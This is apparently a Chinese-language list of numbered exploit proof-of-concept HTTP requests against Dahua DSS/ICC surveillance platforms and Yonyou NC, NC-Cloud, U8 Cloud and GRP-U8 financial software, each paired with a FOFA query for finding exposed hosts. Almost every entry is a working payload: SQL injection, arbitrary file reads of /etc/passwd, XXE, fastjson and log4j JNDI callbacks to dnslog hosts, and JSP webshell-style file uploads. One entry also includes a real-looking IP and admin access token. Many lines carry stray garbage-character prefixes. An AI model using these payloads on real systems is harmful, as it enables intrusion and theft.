poc中调用函数计算1234的md5值
$ }  L  H9 E9 _8 F/ FGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
' G+ v" ]- ^3 {8 [& @5 l$ ~Host: x.x.x.x
( x- \0 P! U7 }1 Z8 n2 x; UUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
; W9 }: @( X% w0 aAccept: */*
Accept-Language: en
Accept-Encoding: gzip
3 x! Y" I( B& H. X: n% [

- p* C; j1 {  t; [4 ?% U17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
' K0 g$ ~8 R; [6 vPOST /portal/services/itcBulletin?wsdl HTTP/1.1
5 r0 z. Q6 `. T7 v2 M: O) {Host: x.x.x.x
2 C" `- N! S  g" W( VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
5 h9 `* J1 ]& S; Q5 {Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
# ]" o1 p2 n% ]  Z    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
4 Z  A8 R2 _' d+ M5 e3 T  O      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
4 v, ^& Q. W# a; G1 M8 A      </netMarkings>
3 w8 B: B" Y! n, w- H    </ns1:deleteBulletin>
  </s11:Body>
& Z3 q  f- Z- f8 G0 s# k) @6 J</s11:Envelope>
0 D4 v5 y  G: o; ?! ]# I
2 Y1 E+ c2 O6 z* h! f
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
8 Z/ A( ~8 }6 r. A8 @! DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. ~2 w- K; \$ L4 I+ _, ]Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

: `* E4 V9 ]3 n
, j+ D" _, f! L' F
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
( M. y5 X8 s6 }' F( t  MGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
# G, d$ A3 B7 UHost:
9 V  W0 n& B- l) N; _User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
) f, `" C7 R( w  z0 C! KAccept: */*
$ F# ]! M8 r% [: L( ~: {Connection: keep-alive


  t; i) d+ ?+ _& i4 U1 j4 N20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 f5 b! T6 C  LAccept: */*
% x. T; B/ O2 \" B4 S! {: e3 P. iAccept-Language: en
! g- [9 h- r- H0 E& YAccept-Encoding: gzip
0 v1 k; ?. `8 d" S* d" d4 _- u
1 E5 b0 f9 q) ]2 R; _% w" W
' X8 N2 x: a8 Z. f0 w% u21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
9 \+ @! G, O: r1 m- YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 q+ I+ w" y7 M8 N+ xContent-Length: 161
Accept-Encoding: gzip
' l- j+ O  a+ k( K! FConnection: close
Content-Type: application/json;charset=utf-8
; z+ ~- y2 N4 g. z2 Q
{
"a":{
1 b$ K* K* q9 @) j   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
9 @' j( r  F) n0 t

- Y. J/ Y8 ~9 ]2 S7 w, o5 T22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
+ |% o9 o0 Z) q4 D1 KPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
, }3 a! u9 N! q/ S  ]& oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
}
! D7 \( c9 q% a. c- O9 H


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
3 n% r1 {$ q! w% w6 VFOFA：icon_hash="-1935899595"
  T( Z5 @- n6 ]" fPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
2 o5 e: ]' M/ D7 hHost: your-ip
5 y- q/ a, `  P1 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

  r- L' s8 i1 I/ x* L. L& a{
    "a":{
7 A6 f6 B" w5 S! r+ H        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
# i( b& ~5 j, {$ `( |- y! Y}


24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
! g' t) q' }, n2 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
- o6 h! r# a  I! b3 n( N7 Y! O' x+ aConnection: close
2 ^+ w/ S2 G3 t' m7 e3 o9 L8 jContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
. y5 F& I4 h- lContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
7 c. L7 ~! x( ^# oContent-Type: text/plain
+ M  f: J. s4 f6 s* v8 T
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
- S( D/ q+ v( t
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
: y/ p% Y( ^! S( s6 _POST /portal/registerServlet HTTP/1.1
% j% a4 R, ~6 F  ^* \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog


0 j  W9 W4 H! z' C7 i5 d% Z
6 i" ^% G5 [, i" P  A- E26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

) X& a$ a! A/ ]  d6 P, N
* g) w2 i# _/ Y# {  \1 k  h7 M- d27. 用友 NC showcontent SQL注入
0 A2 U& W6 y  G3 `0 X1 FFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
0 D3 u0 ^3 V/ S( F5 j) tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 H$ n, h( P6 U% D) BAccept-Encoding: identity
$ V; G! K+ M4 P6 GConnection: close
Content-Type: text/xml; charset=utf-8
6 E: S/ D( x  Q* X+ y
  O! i, V7 x# R0 u
28. 用友NC grouptemplet 任意文件上传
. W) H+ L  V0 YFOFA：icon_hash="1085941792"
- L8 e, A) W: M: TPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
- Y3 d- P" H0 p; |Content-Length: 268
8 _4 [3 _0 }# AContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
, k* Y) w+ y6 j8 E: N7 GAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

/ z- [( e! Q7 T: A$ _<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
" m* L7 c9 h( x" _( B1 k------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

7 a5 t. n* ^( t1 E* i0 d
/ w5 a6 l6 i% d7 y  }* t% G/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
5 L0 i" L2 y; Q  J9 d' QHost: your-ip
3 J! H: a0 [: q# t' ]2 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
, H) w/ N- X4 B1 v% v3 B. H2 EContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
' ^' F, a/ ]% A) ?+ ]: X+ Q% KConnection: keep-alive


30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
$ N6 \5 l8 V0 D. @- t8 e" `Host: your-ip
* q; S! }) o! w; W& V& WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
( |& }; e8 w) i" kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 n% I/ x; V' U: g8 v3 t1 }- `1 Z) bConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
$ s0 V! U- B0 B/ z/ ^6 ^8 w5 }& ~Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
+ b) I% v5 o2 D3 i  i2 [

31. 用友NC runStateServlet SQL注入
! t- |0 Y& @" ?4 ?version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% b( e: Y/ S; i: R- _. n! fGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 I& J1 B8 L# l8 iContent-Type: application/x-www-form-urlencoded
# M' ?( J' B% _* t- s, c0 \! t0 O
* m0 N( a! ?2 B6 A* _; t! d
32. 用友NC complainbilldetail SQL注入
5 D1 }. k/ z4 R$ ?! r. B% e5 i; hversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
/ B4 U' n& N: p' E6 [GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( I) J; e/ B. h4 d9 {  gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" ~/ s0 o* _7 sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
5 c+ z- G: J1 w3 J) CAccept: */*
Connection: keep-alive
3 P4 F7 X9 a2 Q" K; L, j
  G) _1 K1 Q: j
33. 用友NC downTax/download SQL注入
% W' r$ C2 @" R" g; `' q+ `version：NC6.5FOFA：app="用友-UFIDA-NC"
4 s, ~8 O+ `# e4 V5 r& AGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
( V4 |+ P3 E8 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# R% n1 z5 B; yAccept-Encoding: gzip, deflate
9 y7 u( u# Q5 R  [7 ~: |, B" WAccept: */*
7 _( D' S+ K$ u& z& o3 Y/ @0 QConnection: keep-alive

/ Q) l6 B5 }3 M# I, w( {
4 N" z$ T9 m! O' C34. 用友NC warningDetailInfo接口SQL注入
, I  N8 ?  ]+ r/ LFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 N8 O3 x0 r* X' X% `6 NContent-Type: application/x-www-form-urlencoded
, ]2 d" g+ B  W: Z( ~! i, U; r6 i. Z8 SAccept-Encoding: gzip, deflate
Accept: */*
. ?& o# [+ c6 q3 mConnection: keep-alive
) H1 ~& ^; k) q; J2 O. e) X
0 T- G# I8 |+ P; v; q! _; n: W
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
* }9 V7 [5 G- P) p1 b* a6 {. WUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
6 C& p% h" K5 p. g' i8 Q0 iAccept-Encoding: gzip, deflate
Accept: */*
% g% ^) @. j' P* qConnection: close
! h% Z) S3 V9 G  D# B. ~, S: taccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
9 V& K1 T- c9 B! i. f- rContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

* p3 C3 L& J" @; ~5 l% O--fd28cb44e829ed1c197ec3bc71748df0
- ^* b; w8 k- P7 FContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
* j1 R! N7 J, Y' T, D' Z9 |
<%out.println(1111*1111);%>
& _+ @& O5 N8 s  D" d, i--fd28cb44e829ed1c197ec3bc71748df0--

9 Y, h. E( l, r2 o) j& U
36. 用友NC-Cloud soapFormat XXE
$ W! B' F5 l9 w* _5 \1 U1 a- s* |2 uFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
+ }/ L  G( ~; {2 {POST /uapws/soapFormat.ajax HTTP/1.1
. h& N- X/ @. @6 P9 }) QHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
- u; c* w$ U2 O% dContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 x8 |6 ~" T2 S& G5 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
( W. O. ]8 U* ^9 ?: \( FContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
; x& p/ `& h' F# Q; ~) w) V& C& J& @
4 J1 B+ v& L+ S  m' a7 u& `5 F5 ~+ umsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

' [. B, N  x; i8 X
2 h7 m8 r& K/ g5 j  u37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
+ T% J# y9 Z$ @! LPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
- u9 K# _# u' m1 S0 ~3 z5 h6 h; w  ]- HHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
( O5 y) l% z# G" |Content-Length: 421
/ [. s0 z$ l% bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 L: i6 I0 R- B, hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& K+ {7 n. l& ^Connection: close
' K: W1 a# O0 E" RContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

* v7 o* D# D1 \+ X/ g5 [<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
3 z6 T: J- P  Z5 e<soapenv:Body>
<iup:getResult>
<!--type: string-->
9 p! E1 D( p! c3 }- H<iup:string><![CDATA[
% j2 N0 l! S" s% T4 L! G9 @& C<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
2 _: e3 @/ @+ g$ f: u0 T</iup:getResult>
: m$ R: K$ E9 @</soapenv:Body>
</soapenv:Envelope>
1 ]; ?9 O6 Q9 p9 k1 r/ R6 \


5 x! J# i( Z; ]( z. a. A38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
4 l% C9 @7 b/ ]& M6 T6 p, HPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
3 p3 ~; Y$ [9 R6 D* J* qHost: 192.168.40.131:8088
  m; I5 F/ y6 q1 L4 R4 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 S5 m- {! a/ H: _5 ]6 AConnection: close
& L8 @0 v" k- m/ t( p6 P. h; DContent-Type: application/x-www-form-urlencoded
9 m8 Y; e& c% m/ I/ c8 n
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


! i2 |+ v' I7 ]4 z6 K- Y' K: Y* ~39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
7 m  O  \1 N  N7 ?9 @8 |* _Host: 192.168.86.128:8089
7 w0 Y( B0 x7 w% q4 s- c% JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
& T2 y6 ?% r; E* v9 fContent-Length: 85
Accept: */*
Accept-Language: en
$ R2 b4 g) ]' S& A5 u; r, EContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
7 X8 w# t% x2 U3 dAccept-Encoding: gzip

, _5 q, \3 {/ O+ d- V+ ^+ B7 ]  _usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

5 o6 t2 y5 V* K$ N( ~' R
40. 用友U8-Cloud XChangeServlet XXE
0 B; ~% _& Q2 M/ v# `$ GFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
. j% _6 g# h) _) [; s  rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
8 B# t0 r) X& c# n
0 i( B6 I! a/ B$ a: ~: R<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
* N3 _' n; Y9 q0 R: I6 @8 O" iGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
2 H3 z) l* b/ x) A1 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( l( W* L7 @0 S% I7 o4 ~9 j4 SContent-Type: application/json
5 J  M# W+ K: ]8 WAccept-Encoding: gzip
4 b8 V/ z  ^3 _5 Y& ?" {Connection: close

, Q4 Y. C% @, w: F
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
5 O! ~/ v3 @2 W. pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
& b. R, A+ V+ d+ I: L: j
3 N& M9 o$ t! MPAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
4 o( A, [- ?) y# w  ]POST /services/userInfoWeb HTTP/1.1
Host: your-ip
$ C! c  g' e' q% ?+ G$ J3 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ c! w# Q$ b# ?0 zConnection: close
, ]8 \4 c: @: t2 @4 k& _SOAPAction:
. o- S% B+ s/ q' U$ u2 IContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
6 }4 R# G9 h  c      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
/ |/ U8 N( I3 g( c         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
' c0 n; t8 y6 c/ [+ }& e% v</soapenv:Envelope>
- @, f. k' w# M! l8 t1 V
# f- B, ?# o: s4 n3 f- j
# ~$ r5 [- T9 T  r7 h44. 用友GRP-U8 bx_dj_check.jsp SQL注入
( \( Z7 d8 h" v" q  `7 }FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
, ~: r  c' U$ tHost: your-ip
2 ^- C+ \1 T( C, [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ U  @# A$ ?; b: _( }; tAccept-Encoding: gzip, deflate
$ T1 b& R+ C4 }! }" y) B9 v. ~1 r2 QAccept-Language: zh-CN,zh;q=0.9
* d; p$ E$ i# x7 n1 s3 n3 DConnection: close
) W4 H% u- R7 ~: \3 G
3 h* Z+ Y, s1 [0 i7 V
8 s* C; f$ D& I( V1 C0 K, l45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
/ n! r  q; o# A% sHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
' N3 Q! b! R$ O7 pConnection: close
0 H4 v/ V$ k0 n4 L5 M) RContent-Length: 161
: n4 B/ z8 N1 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; P/ E2 K; A5 KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
: z: B9 L! E6 W
reqData=<?xml version="1.0"?>
4 U7 w/ L$ y2 y( x) J: N4 Z<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
- |9 v1 M8 O) s$ S! W
9 ?  f  ?, r9 h8 M& D, |$ j* Y! D2 R
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
3 X# d! C2 ^* i. P! cHost: your-ip
6 ]' t7 Z; E# D' x+ e3 Q/ P3 z. yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
# I" K3 N( z+ _7 b- J: }' s+ \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 T- e# `( i1 J( P7 y$ x, vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
0 K! i# ?% Q8 U8 ^. v2 X+ |: @Upgrade-Insecure-Requests: 1
8 o+ Y. k% c" vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* X4 [3 {  q& _' y4 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: Z* U5 Q$ Q# x" j, N$ m% R. TAccept-Encoding: gzip, deflate, br
, z$ J' _- I* R1 JAccept-Language: zh-CN,zh;q=0.9
+ L/ O9 ^# U9 x" C* o! F+ nIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close



